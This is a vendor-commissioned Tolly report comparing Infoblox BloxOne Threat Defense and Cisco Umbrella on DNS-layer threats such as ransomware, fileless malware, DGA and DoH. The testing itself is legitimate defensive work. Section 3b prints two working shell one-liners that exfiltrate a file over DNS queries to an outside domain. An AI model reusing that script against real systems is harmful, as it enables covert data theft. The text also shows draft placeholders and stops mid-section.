Infoblox BloxOne Threat Defense vs.

Cisco Umbrella

Tolly.

Infoblox
BloxOne Threat Defense vs. Cisco Umbrella
DNS-Layer Security Evaluation

Tolly Report #222100

January 2022
Testing conducted November 2021

© 2022 TOLLY ENTERPRISES, LLC www.tolly.com

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Contents
1 Malware 8
1a Malware Detection 9
1b Ransomware Detection Using DNS 12
1c Fileless Malware Detection 14
1d Data Infiltration Over DNS 16
2 Category-Based Blocking 18
2a Category Based Blocking Using DNS 19
3 Exfiltration 21
3a UDPoS Exfiltration 22
3b Data Exfiltration 24
4 Advanced DNS-Based Threats 26
4a Domain Generation Algorithms Detection and Blocking 27
4b Lookalike Domain Monitoring 29
5 Threat Intelligence 31
5a Threat Intelligence Sharing 32
5b Locale-Specific Threat Intelligence 34
6 Addressing Newer Market Trends 36
6a Bypass of Internal DNS 37
6b Support for Faster Web Negotiation using New Formats 39
7 Incident Response and Investigation 41
7a Visibility for Incident Response 42
7b Automating Response via Ecosystem Integration 44
7c Threat Investigation 46
 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Executive Summary
Introduction
Cyberthieves are constantly developing new methods to breach corporate networks, deploying various tactics that infiltrate
typical cyberdefenses and create a “backdoor” in order to steal confidential data or deploy malicious tools such as
ransomware.
For decades now firewalls and other security services have been in place to protect the direct interactions between corporate
computers and external internet servers. As those security services protect against common attack techniques, hackers turned
to other methods to evade detection, specifically for our discussion, the malicious use of Domain Name System (DNS) protocols.
DNS is used constantly by almost every IP-based device that needs to connect to other IP-based systems (e.g., computers, IoT
devices and OT devices), and its presence is essential to the internet and IP networks in general. DNS translates queries for names
of resources (like web sites or IoT/OT management servers) and returns IP address information that allows the connection to be
established. The whole concept of DNS was to translate IP addresses to common names we can easily remember – like
www.infoblox.com or www.tolly.com (each of which requires underlying IP addresses for computers to connect).
Because DNS originated as a relatively simple translation tool, it was considered benign, with DNS traffic typically allowed to pass
through security solutions without additional inspection. Unfortunately, cyberattackers have developed new techniques to
exploit DNS and use it to steal sensitive data from corporate networks as well as to infiltrate malware into the network.
Infoblox commissioned Tolly to evaluate the effectiveness of the Infoblox BloxOne® Threat Defense solution in key DNS-layer
threat scenarios and compare those results against the Cisco Umbrella solution. Building on the Tolly report published in 2020,
this report re-checks those scenarios and adds new scenarios. The Infoblox Threat Defense solution demonstrated greater
effectiveness than Cisco Umbrella, as will be detailed shortly, and provided broader threat intelligence and ecosystem
integration than the Cisco Umbrella offering. The results are summarized in the table at the end of this section, number/letter
cross reference the full test details in the body of the report.

Malware
1a Malware Detection. Malware can also be infiltrated into an organization by using traditional communication
techniques, some of which rely on DNS to complete the infection process. For example, systems that have been
compromised with a Rootkit (or other exploits) would request a connection with a command and control network
(C&C) to download the primary malware or ransomware payload: these requests would rely on DNS to locate the
attackers C&C servers. Both Infoblox and Cisco identify requests to sites that have been identified to be malicious
(C&C, malware hosts, etc.). Both have the ability to identify and “block” devices from receiving the IP address for the
main DNS record (A) of identified malicious sites. DNS systems, however, can provide IP addresses for malicious
destinations via other DNS records such as the NS, SOA and MX records. Only Infoblox blocked all of the DNS records
from a rogue site with these DNS record types. Where Cisco Umbrella would block the main (A) address record, it
allowed malware to be delivered via all of the other DNS records from the site.
1b Ransomware. For many companies a ransomware attack is the worst possible security breach scenario. The well-
documented “FiveHands” ransomware attack was tested against both systems. Infoblox blocked the ransomware
attack and Cisco Umbrella allowed the attack to pass through its system.
1c Fileless Malware. Malware doesn’t always infiltrate via downloaded file. DNSMessenger is a remote access trojan
that creates a command & control channel for malware between the corporate target and the external hacker.
Infoblox recognized this traffic immediately and blocked it in under 60 seconds. Cisco Umbrella did not detect this
traffic and allowed it to enter the network.

TOLLY REPORT #222100 3

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

1d Data Infiltration. In this scenario, the DNS session is used to bring data, rather than just DNS response
information, into company environments. This test simulated data infiltration by adding data to consecutive DNS
query responses in a manner that would be used by a hacker for infiltration. The domain used for the test was not a
rogue domain. Infoblox detected and stopped this suspicious activity after approximately five seconds. Cisco
Umbrella allowed all of the data to be infiltrated, apparently relying on reputation to stop data infiltration rather than
scanning data in the DNS exchanges.

Category-Based Blocking
2a Category-Based Blocking using DNS. When blocking malicious sites, it is always “the sooner, the better” - in this
case before the DNS is even resolved. Both Infoblox and Cisco provide for blocking by categories. Infoblox provides
107 separate categories implemented in a two-tier structure of category plus sub-categories. Cisco provides 100
separate categories implemented as a single-tier, “flat” list of 100 choices.

Exfiltration
3a UDPoS Exfiltration. This test used a real-world documented malware where the UDP protocol is used in a PoS
system to exfiltrate credit card data. Tests showed that Infoblox was able to detect the exfiltration while it was in
progress and blocked it before a complete data file was transmitted. By contrast, Cisco Umbrella did not detect this
malware and allowed the data file to be exfiltrated.
3b Data Exfiltration. Attackers have developed new techniques by using, or rather abusing, DNS by sending what
looks like legitimate DNS requests to rogue DNS servers they have deployed to collect stolen data. They use “legal”
fields (that is, fields that do not generate a syntax error) within the DNS protocol in order to embed pieces of stolen
data, moving it out of the corporate environment and capturing it with their rogue DNS servers. For this test,
engineers used a generic behavior for data exfiltration and illustrated how Cisco was unable to detect the DNS data
exfiltration when the data pattern was changed slightly from a pattern that Cisco Umbrella had been coded to
recognize.

Advanced DNS-Based Threats

4a Domain Generation Algorithms Detection (DGA) and Blocking. Sophisticated hackers will try to evade
detection by using an algorithm to contact newly-generated DNS addresses used by hackers. Both Infoblox and
Cisco successfully blocked the DGA attack.
4b Lookalike Domain Monitoring. Many social engineering attacks use websites or email addresses with domain
names that appear at a glance to be legitimate, for example, yah00.com for yahoo.com. Businesses need to be aware
of domains that have been registered that are lookalikes to their legitimate business name in order to fend off attacks
proactively. Infoblox allows customers to enter lists of domains to monitor and Infoblox will proactively monitor and
report on lookalike domains that represent potential threats. Cisco does not provide an equivalent function.

Threat Intelligence
5a Threat Intelligence Sharing. Security always involves multiple systems, most notably firewalls and SIEMs. Unlike
Cisco Umbrella, Infoblox users can integrate Infoblox threat intelligence into other devices that make up their security
perimeter such as Check Point or Palo Alto firewalls. (The availability of this feature depends upon Infoblox license
level.)
5b Locale-Specific Threat Intelligence. This test focused on current phishing threats as documented by a public site
in Poland that lists such threats. Engineers tested approximately 2,000 sites with the two solutions. The exact number

TOLLY REPORT #222100 4

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

of sites varied as some were taken offline. Of the sites tested, Infoblox blocked 87% of the sites where Cisco blocked
59.5% of the sites.

Addressing New Market Trends

6a. Bypass of internal DNS. DNS over HTTPS (DoH) is a new protocol that allows DNS addresses to be resolved using the
HTTP (web browser) protocol bypassing a company’s IT-managed DNS infrastructure, leading to loss of control and security.
Infoblox was able to detect and block the DoH traffic, forcing resolution using the company’s DNS. Cisco was unable to detect or
block DoH.
6b. Support for Faster Web Negotiation using New Formats. The new “Type65” record allows web browser to improve
the user experience by accelerating parameter negotiations for the browser. Infoblox supports this new record type and filters all
traffic using it. Cisco does not support the new record type and blocks it without examination. This then forces the client and
server to fall back to older negotiation methods potentially impacting user experience at the start of a browser session.

Incident Response & Investigation

7a Visibility for Incident Response. When investigating a security incident involving a client device, it is useful to have
granular information about the device. While Cisco and Infoblox both provide core information, Infoblox leverages its client
agent and data in the DDI platform to provide information that Cisco cannot provide, such as client operating system, OS user
name and client machine name.

7b Ecosystem Integration. It is important to be able to respond to threats in a rapid and automated fashion. Unlike Cisco
Umbrella, Infoblox illustrated real-time integration with a security ecosystem compromised of various third-party solutions. Tests
illustrated how a threat detected by Infoblox could trigger a firewall to dynamically add a rule and ripple the threat information
into popular systems such as ServiceNow, Tenable and Splunk for review, reporting and triggering additional actions to
automatically enforce security policies.
7c Threat Investigation. Engineers evaluated the GUI tools available for evaluating the current threat environment and
drilling down into detected threats. Engineers found that the Infoblox solution was more intuitive to use and it provided lists of
threats for the operator to access. By contrast, Cisco required the user to specify the malicious host or domain name to get
additional information. (See the detailed section of this report for visual examples.) In addition, Infoblox Dossier provides more
context on threats to help analysts better scope, triage and respond to threats.

TOLLY REPORT #222100 5

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

DNS Security Threat Scenarios: Results Summary (1 of 2)

Category Scenario Description Infoblox BloxOne Cisco
Threat Defense Umbrella
Partial. Only
blocked “A”
Block malware
record and
Malware communications with Blocked all site
Malware allowed
Detection command & control and rogue records
malware on
domains
other site
records
Ransomware Detection of DNS traffic
Detection using generated by FiveHands Blocked Not Blocked
DNS ransomware campaign
Fileless Malware DNSMessenger is a “fileless” Blocked within 60
Not Blocked
Detection malware attack seconds
Block data from being brought
Blocked after
Data Infiltration in via DNS from a non-rogue Not Blocked
several seconds
site
Category-based Offers 107 Offers 100
Category-based Category selection for site
blocking using categories in two categories in a
Blocking blocking
DNS tiers single tier
Block point-of-sale (PoS) UDP-
Exfiltration UDPoS Exfiltration based credit card data Blocked Not Blocked
exfiltration
Block DNS sessions-based
Data Exfiltration Blocked Not Blocked
exfiltration
Domain Algorithmically generated
Generation domain names used by
Advanced DNS-
Algorithms malware infected clients to Blocked Blocked
based Threats
Detection and communicate with a sequence
Blocking of C&C sites
Identification and monitoring
Lookalike Domain Lookalikes
of traffic going to lookalike Not offered
Monitoring Detected
(impersonation) domains

TOLLY REPORT #222100 6

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

DNS Security Threat Scenarios: Results Summary (2 of 2)

Category Scenario Description Infoblox BloxOne Cisco
Threat Defense Umbrella
No (threat
Make intelligence available to intelligence
Threat Intelligence Yes (depending
Threat Intelligence other security platforms (e.g., remains
Sharing upon license level)
firewalls) proprietary to
Cisco products
Missed six
Blocked six that
Locale-Specific Test of ten threats in a specific that were
were missed by
Threat Intelligence locale (e.g., Poland) blocked by
Cisco
Infoblox
Addressing Newer Bypass of Internal Not
Detect DNS over HTTPS (DoH) Supported
Market Trends DNS Supported
Not
supported.
Support for Faster
Use of “Type65” record to Supports and Records
Web Negotiation
optimize negotiation filters blocked
using New formats
forcing slower
negotiation
Incident Response Visibility for
Show endpoint information More extensive Less extensive
& Investigation Incident Response
Integrate DNS security into Yes (e.g., Fortinet,
Ecosystem
other security and reporting ServiceNow, Not illustrated
Integrations
systems Tenable, Splunk)
Requires
Intuitive GUI, hosts/
Threat Provide investigative useful threat domains be
Investigation resources for SecOps team indicators with specified
context manually. Less
info.

TOLLY REPORT #222100 7

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

1 Malware
Malware is a constant threat and can come in many guises. DNS has emerged as an important pathway to and from
organizations for hackers. Threat actors exploit standard functions of DNS sessions both to infiltrate networks and and exfiltrate
data.

Scenarios in this category

• Malware Detection

• Ransomware Detection Using DNS

• Fileless Malware Detection

• Data Infiltration (Over DNS)

TOLLY REPORT #222100 8

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

1a Malware Detection
Description
Infoblox BloxOne Threat Defense and Cisco Umbrella often agree on certain domains being identified as malware and block
them. However, not all DNS records that are associated with a malware domain are blocked by Cisco Umbrella.

Results
Infoblox detected and blocked malicious domains, regardless of DNS record type - NS, SOA and MX record types.
Cisco Umbrella detected and blocked using the A and AAAA records only but did not detect communication with the NS, SOA
and MX records.

Importance
Focusing exclusively on specific DNS metadata can potentially minimize visibility into DNS security issues for command and
control (C&C) and data exfiltration. Only by looking at all records can a comprehensive detection solution be provided.

Validity
Again, this demonstrates techniques that are common to some malware for use in command and control, including
DarkHydrus. Solutions that focus only on specific record types provide an avenue for threat actors to bypass security. This is a
valid test because it checks to ensure that threat detection is covering all of the communications vectors known threat actors
may use for command and control.

Test Steps
1. Go to Infoblox BloxOne Threat Defense CSP (cloud services portal) and find a domain that is labeled as malware. Also
ensure Cisco Investigate indicates the same thing.
2. Run dig command for the A record on domain against Infoblox BloxOne Threat Defense. Should return nxdomain.
3. Run dig command for ns record on domain against Infoblox BloxOne Threat Defense. Should return nxdomain.
4. Run dig command for soa record on domain against Infoblox BloxOne Threat Defense. Should return nxdomain.
5. Run dig command for mx record on domain against Infoblox BloxOne Threat Defense. Should return nxdomain.
6. Run dig command for cname record on domain against Infoblox BloxOne Threat Defense. Should return nxdomain.
7. Run dig command for aaaa record on domain against Infoblox BloxOne Threat Defense. Should return nxdomain.
8. Show report on Infoblox BloxOne Threat Defense.
9. Run dig command for the A record on domain against Cisco Umbrella. Should return nxdomain.
10. Run dig command for ns record on domain against Cisco Umbrella. Should return noerror.
11. Run dig command for soa record on domain against Cisco Umbrella. Should return noerror.
12. Run dig command for mx record on domain against Cisco Umbrella. Should return noerror.

TOLLY REPORT #222100 9

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

13. Run dig command for cname record on domain against Cisco Umbrella. Should return noerror.
14. Run dig command for aaaa record on domain against Cisco Umbrella. Should return nxdomain.
15. Show report on Cisco Umbrella.

Results Graphics
Cisco Umbrella
While Umbrella identifies a domain as malicious, it blocks it using only A and AAAA records. Exfiltration is still possible on other
record types, such as SOA above. See figures below.

TOLLY REPORT #222100 10

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Infoblox Threat Defense

Infoblox blocks malicious domains, regardless of record type. See figures below.

TOLLY REPORT #222100 11

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

1b Ransomware Detection
Using DNS
Description
Detection of DNS traffic generated by FiveHands ransomware campaign.

Results
Infoblox recognized the FiveHands traffic and successfully blocked the traffic by returning the address of the safe “walled garden”
site.
Cisco Umbrella did not detect the FiveHands traffic and allowed the attack to proceed.

Importance
Ransomware attacks have been on the rise since 2020, with several attacks impacting critical industries, resulting in millions of
dollars paid in ransom. Ransomware, once delivered, uses DNS as a method to communicate with its C&C servers. Using threat
intelligence on DNS to detect and block these communications helps identify presence of ransomware in networks early and
minimize the damage caused.

Validity
The FiveHands1 ransomware is a real compromise that was identified by threat researchers earlier in 2021 and used by a
financially motivated group called UNC2447.

Test Steps
Run the FiveHands ransomware script directed towards
each of the DNS solutions under test. (Partial script shown.)

1 https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-
threat.html and https://blogs.blackberry.com/en/2021/05/threat-thursday-sombrat-always-leave-yourself-a-backdoor

TOLLY REPORT #222100 12

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox blocks the FiveHands attack by redirecting the traffic to the “walled garden” safe site configured, in this case, as IP 1.2.3.4.
Cisco allows the attack traffic to flow to the authoritative server configured, in this case, 127.0.0.100. See figures below.

Infoblox detects FiveHands and blocks by

returning IP address of “Walled Garden.”

Cisco Umbrella does not detect FiveHands and

returns address of authoritative server, thus
allowing the attack to proceed.

TOLLY REPORT #222100 13

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

1c Fileless Malware
Detection
Description
DNSMessenger is a “fileless” malware that doesn’t save any commands to the victim’s file system. It uses the DNS protocol and
PowerShell, and is very difficult to detect when running, unless DNS is being monitored. BloxOne Threat Defense can detect
DNSMessenger activity using AI/ML analytics on DNS queries.

Results
Infoblox recognized the DNSMessenger attack with the initial query and blocked the attack in approximately 60 seconds.
Cisco Umbrella did not detect the DNSMessenger attack and allowed it to go through.

Importance
Malware, including DNSMessenger2, uses DNS protocol as a method to avoid standard monitoring techniques. Such activity
should be blocked to make sure the malware does not execute subsequent stages such as data exfiltration.

Validity
There have been several instances of DNSMessenger attacks including one in 2017, where a DNSMessenger campaign used
compromised US state government servers to host malware.

Test Steps
Use the Infoblox internal DEX tool to execute the DNSMessenger fileless attack against both DNS solutions.

2 https://www.securityweek.com/hackers-used-government-servers-dnsmessenger-attacks

TOLLY REPORT #222100 14

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox detects and blocks the script (triggering “unexpected end of file message” in upper screen shot). Cisco allows the script
to run and then reports the script as a threat (in lower screen shot). See figures below.

TOLLY REPORT #222100 15

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

1d Data Infiltration Over

DNS
Description
DNS infiltration uses specific queries to retrieve data from a remote DNS server. The data being infiltrated may be encoded, and
then decoded into potentially malicious executables, scripts or other tools.

Results
Infoblox detected the threat after monitoring the query for 5-10 seconds and blocked the threat.
Cisco Umbrella detected only by reputation and did not stop threats contained in the queries.

Importance
It can be complicated to set up a testable scenario to observe malicious activity in a predictable manner. This tool simulates real-
world scenarios using DNS infiltration in order to provide a standard testing environment that is predictable and repeatable.

Validity
While the DEX tool was manufactured by Infoblox, it is designed to simulate other data infiltration/exfiltration techniques used
by known threat actors. This solution is used for testing purposes and not to try to inject data that would place Infoblox in a
favorable light. Instead, the intention is to control the timing of the attack, as the malware used by the threat actors can operate
in unexpected schedules. Simulated data was chosen to ensure the same data was being observed by all platforms at the same
time, and prevent testers from having to wait for hours or days in order for the malicious samples to operate “organically.”

Test Steps
Use the Infoblox DEX tool to run the infiltration commands.
Review results in the report of each solution under test.

TOLLY REPORT #222100 16

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Illustration below shows the elements of data infiltration. Infoblox detects the attach were Cisco does not. See figures below.

Attack origin is domain “sanjuanjose.com."

Attack detected by Infoblox as threat level “high”

No attack logged by Cisco

TOLLY REPORT #222100 17

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

2 Category-Based Blocking
Most organizations will want to block entire categories of IP addresses; specifically those that re not related to the business or
organization’s activities. It is useful to be able to customize access quickly via category selection.

Scenarios in this category

• Category Based Blocking Using DNS

TOLLY REPORT #222100 18

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

2a Category Based
Blocking Using DNS
Description
Blocking access to categories of content such as social media, violence, gambling, web advertisements. Breadth of support and
ease of use.

Results
Infoblox provides a total of 107 categories and sub-categories to choose from. Infoblox provides a two-tier approach that can
simplify category.
Cisco Umbrella provides 100 categories shown as a single-tier, flat list. Scanning 100 separate configuration choices could add
complexity to the configuration process.

Importance
Many companies may have policies where they don’t want to allow employees to access certain types of content using
company devices.
Category based filtering at the DNS level is a more cost effective, efficient way to restrict users from accessing certain types of
content without having to invest in more expensive security solutions.
For web advertisement blocking, users install ad blocking software not typically controlled by IT which might be harmful an and
of itself. Using DNS security is a better, more controlled approach.

Validity
Selecting allowed and blocked categories of sites is an essential function of DNS security and, thus, is inherently valid.

Test Steps
Review the blocking category selections of each solution in the administrative portal.

TOLLY REPORT #222100 19

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox provides two tiers - categories and subcategories to simplify selection. Cisco provides a flat, single-tier list of all
categories. See figures below.

Infoblox provides a two-tiered approach to categories.

Cisco provides a single-tier approach to categories.

TOLLY REPORT #222100 20

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

3 Exfiltration
Malware is a constant threat and can come in many guises. DNS has emerged as an important pathway to and from
organizations for hackers. Threat actors exploit standard functions of DNS sessions both to infiltrate networks and and exfiltrate
data.

Scenarios in this category

• Malware Detection

• Ransomware Detection Using DNS

TOLLY REPORT #222100 21

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

3a UDPoS Exfiltration
Description
Real-world exfiltration threat where credit card data was stolen via DNS requests from point-of-sale (PoS) terminals.

Results
Infoblox recognized the exfiltration attempt while the data upload was still in progress and blocked the file from being
exfiltrated.
Cisco Umbrella did not detect the exfiltration attempt and allowed the data to be uploaded.

Importance
It is important for any detection mechanism to stay current with new and important exfiltration techniques. This test
demonstrates a current, real-world example of malware that exfiltrated data from point-of-sale terminals using DNS exfiltration
techniques.

Validity
UDPoS is a real-world example of malware that uses DNS to exfiltrate data, and the malware has been available long enough for
any solution that tests for DNS data exfiltration to try detect it. This test demonstrates a different approach to data exfiltration,
separate from the one discussed in the previous section. Together, these two tests provide a good cross section of DNS data
exfiltration techniques.

Test Steps
Send the following commands as shown in nearby figure with an unblocked domain.

TOLLY REPORT #222100 22

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox identifies and blocks unknown data exfiltration as shown in Dashboard Report. Cisco allows traffic to pass and data
exfoliation to occur as shown by “allowed” status in Cisco Activity Search. See figures below.

TOLLY REPORT #222100 23

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

3b Data Exfiltration
Description
Multiple techniques of how DNS can be used to remove data from the corporate network.

Results
Infoblox blocked both variations of the attack. Cisco Umbrella blocked the unaltered attack but failed to block the same attack
when it was slightly altered. This indicates that Cisco’s threat recognition only recognized the hard-coded values.

Importance
This test demonstrates that there are a number of different techniques of data exfiltration, and that relying on pattern-based
detection alone can create gaps in visibility and protection, and potentially provide a roadmap for attackers on how to
circumvent detection mechanisms.

Validity
This test demonstrates common, generic behavior of systems using DNS for data exfiltration. While this test is scripted, it utilizes
behavior that is common to a number of threat actors.

Test Steps
The following commands simulate data exfiltration using DNS queries. The exfiltrated data is usually encrypted and “cut up” into
segments and prepended to the domain name before being transmitted.
• Script - blocked by Infoblox: if [ ! -e "udpos" ]; then echo "File does not exists"; else i=0;host -t A
7564706f73.1.mbknv0.udpos.834.start.scr.b8e20b5bca.sanjuanjose.com 10.63.131.20; hexdump -e '27/1 "%02x" "\n"'
"udpos" | (while read line; do host -t A $line"."$i".mbknv0.scr.b8e20b5bca.sanjuanjose.com" 10.63.131.20;i=$(($i+1)) ;
done ; host -t A 7564706f73.1.mbknv0.udpos.834.stop.scr.b8e20b5bca.sanjuanjose.com 10.63.131.20; echo
'Segments sent: ' $i); fi
• Script - allowed by Cisco: if [ ! -e "udpos" ]; then echo "File does not exists"; else i=0;host -t A
7564706f73.1.mbknv0.udpos.834.start.scr.b8e20b5bca.sanjuanjose.com 10.63.131.20; hexdump -e '27/1 "%02x" "\n"'
"udpos" | (while read line; do host -t A $i $line"."".mbknv0.scr.b8e20b5bca.sanjuanjose.com" 10.63.131.20;i=$(($i+1)) ;
done ; host -t A 7564706f73.1.mbknv0.udpos.834.stop.scr.b8e20b5bca.sanjuanjose.com 10.63.131.20; echo
'Segments sent: ' $i); fi
• Show activity report; one is blocked and the other one is allowed

TOLLY REPORT #222100 24

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Illustration below shows the elements of data exfiltration.

TOLLY REPORT #222100 25

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

4 Advanced DNS-Based
Threats
[[INTRO TBD ]] Malware is a constant threat and can come in many guises. DNS has emerged as an important pathway to and
from organizations for hackers. Threat actors exploit standard functions of DNS sessions both to infiltrate networks and and
exfiltrate data.

Scenarios in this category

• Domain Generation Algorithms Detection and Blocking

• Lookalike Domain Monitoring

TOLLY REPORT #222100 26

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

4a Domain Generation
Algorithms Detection and
Blocking
Description
DGAs, or domain generation algorithms, are algorithmically generated domain names used by malware infected clients to
communicate with a sequence of C&C sites. Once one of the dynamically generated domains is detected and blocked by IT
security, the malware client and C&C server switches to the next one on the list to bypass defenses. An attacker will use an
algorithm to generate a ton of complex domains that are a mishmash of numbers, registering them. The attacker goes through
registrars to register the domains, because they decide that this is a pattern that the malware is going to use and follow to
connect with a server. The malware infected device reaches out to these domains and will follow the same algorithm and try to
connect to a server. Because the malware is following the same pattern they used to register the domains, they will eventually
get a match.

Results
Both Infoblox and Cisco Umbrella successfully detected and halted the DGA attack.

Importance
It is hard to use threat intel to protect against this because the domains are very quickly generated and very short lived domains
whereas threat intel relies on domains that have been up for a longer period of time and not changing frequently. AI/ML based
analytics are needed to detect and block DGAs.

Validity
DGA is a legitimate technique used in the real world and it was first popularized by the Conficker worm back in 2008, which at
first generated 250 domains per day. With a new strain of Conficker (.C), the malware would generate 50,000 domains a day,
which became a huge effort for cybersecurity professionals to track every day.

Test Steps
Use Infoblox internal DEX threat generation program to create a DGA threat directed at each solution under test.

TOLLY REPORT #222100 27

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Both systems blocked the domain generation algorithm threat. No illustrative graphics required.

TOLLY REPORT #222100 28

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

4b Lookalike Domain
Monitoring
Description
Identification and monitoring of traffic going to lookalike domains that use various complex techniques for impersonation.

Results
Infoblox provides a workflow to add lookalike domain protection and provides integrated reporting of the results.
Cisco Umbrella does not appear to offer a comparable function.

Importance
Lookalike domains are regularly used in phishing scams and can pose significant risk to employees. They can be targeted
through communications and fake web content pretending to be from a popular local restaurant, a business partner or any
organization that your business frequently interacts with or controls. As people become more suspicious of links embedded in
an email, social media and mobile messages before clicking on them, cyberattacks are increasingly using lookalike domains
sufficient to pass the cursory examination many people make. They generate convincing lookalike domains using sophisticated
homograph or homoglyph techniques to impersonate popular brands and the largest governments and fool their victims into
giving up their user ids, passwords and PII information.The lookalike domain monitoring feature predicts these attack
techniques to better warn an organization against a potential breach.

Validity
As noted above, phishing scams based on names that appear similar to legitimate commercial or social website are generally
known to be quite common attack paths. Lookalike domains have been used recently in several large profile attacks. For
example, in 2019, $1M was stolen from a Chinese venture capital firm by attackers who used lookalike domains to send emails
and intercept communications about seed funding for a startup3.

Test Steps
Input a sample organization’s domain, or domains frequently visited by or controlled by the organization for lookalike
protection. The Infoblox solution (with help from Cyber Intel Unit) will determine high-risk lookalike domains for initial
assessment and monitoring. Initiate a DNS lookup to one of these lookalike domains and show BloxOne Threat Defense
notifying the user of suspicious activity related to these lookalike domains for visibility and as an advanced warning to help the
organization avert a potential network breach or customer threats.

3 https://research.checkpoint.com/2019/incident-response-casefile-a-successful-bec-leveraging-lookalike-domains/

TOLLY REPORT #222100 29

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox provides details of all lookalike domains being monitored include date and time of detection. See figure below.

TOLLY REPORT #222100 30

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

5 Threat Intelligence
There are multiple aspects to threat intelligence. This section explores two areas that are important but can be easily overlooked
during solution selection. It is very important to be able to share the threat intelligence provided by one security solution with
other, 3rd-party solutions that are part of your security perimeter. For companies with a global presence it is important to know
that the solution chosen can provide suitable protection in geographical areas important to your company.

Scenarios in this category

• Threat Intelligence Sharing

• Locale-specific Threat Intelligence

TOLLY REPORT #222100 31

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

5a Threat Intelligence
Sharing
Description
This demonstration shows the ability to download the threat intelligence feeds that Infoblox uses in BloxOne Threat Defense.
These feeds can be used on Infoblox solutions as well as other security appliances that a customer may already have in their
environment like NGFWs, proxies, IPS and SIEMs. This is an Infoblox-only test.

Results
Infoblox threat intelligence feeds can be used with security devices (depending upon licensing).
Cisco Umbrella threat intelligence cannot be used in non-Cisco products.

Importance
For any organization, it is critical for all security detection and enforcement tools to share threat intelligence in order to provide
the most effective protection. The degree to which a security product shares and works with the users’ ecosystem defines how
effective their security footprint will be to emerging threats. One of the bigger challenges when it comes to SecOps efficiencies is
that many organizations use different threat intelligence feeds in different parts of their security infrastructure. Experts generally
agree that there is no such thing as a single, “golden feed” and it is useful for systems to have access to multiple threat feeds.

Validity
This test indicates whether the solution is trying to strengthen the organization’s security profile, or displace it all together. No
one organization can provide better intelligence than all organizations can when combined. Demonstrating that a solution is
committed to providing the best intelligence to their tools – and the other tools in their ecosystem – is important.

Test Steps
In Infoblox BloxOne Threat Defense

1. Navigate to Policies → On-Prem DNS Firewall.

2. Click on Feed configuration values.
3. Describe each feed per the following guide.
https://blogs.infoblox.com/security/bloxone-threat-defense-intelligence-feeds-blog/
4. Show an on-premises grid master with a feed.
5. Download the feed to show availability.

TOLLY REPORT #222100 32

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Infoblox integrates with into an organization’s security ecosystem, strengthening its security posture. See figure below.

TOLLY REPORT #222100 33

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

5b Locale-Specific Threat
Intelligence
Description
This demonstration shows how effective the solution is in blocking locale-specific threats. In this test, several thousand malicious
sites were tested.

Results
Some of the ~2,000 test sites were already offline when the test was run and could not be resolved.
Infoblox blocked 87% of the the sites that could be resolved (1,390 out of 1,596).
Cisco Umbrella blocked 59.5% of the sites that could be resolved (903 out of 1,517).

Importance
The timing and responsiveness to which a security platform responds to new phishing sources will be crucial in effective
mitigation, as phishing attacks can be ephemeral. Additionally, taking a global approach can sometimes provide a better
security stance than one that is specific to North America. It was also important not to select a source that was controlled by one
of the tested devices.

Validity
This test is valid for all vendors, as this is not a feed that is controlled by any one vendor. It also provides a measure as to whether
or not a solution is focused exclusively on North American markets or if it also has a global perspective.

Test Steps
Tolly engineers chose sites at random from the Poland-based phishing tracking site. These were all zero-day phishing events that
had been detected within 24 hours of the test date. Sites were found from the following source:
https://hole.cert.pl/domains/domains.json

TOLLY REPORT #222100 34

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

Results Graphics
Test results are found in the statistics presented above. No graphics are required.

TOLLY REPORT #222100 35

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

6 Addressing Newer
Market Trends
Networking industry standards progress in recent years has had a direct impact on the DNS security market. This section
addresses two key areas: bypassing internal DNS via the DNS over HTTP (DoH) protocol and the faster session negotiation
protocols pioneered by Apple.

Scenarios in this category

• Bypass of Internal DNS

• Support for Faster Web Negotiation using New formats

TOLLY REPORT #222100 36

 Infoblox BloxOne Threat Defense vs. Cisco Umbrella

6a Bypass of Internal DNS

Description
Description: Block DoH (DNS over HTTPS) traffic between internal IP addresses and external DNS servers, forcing employees to
use their company’s IT-managed DNS infrastructure and ensuring that security policies are enforced.

Results
Infoblox intercepted the DoH traffic and applied the internal security policies to the traffic.
Cisco Umbrella did not detect DoH an allowed the clients to bypass the Cisco Umbrella security policies.

Importance
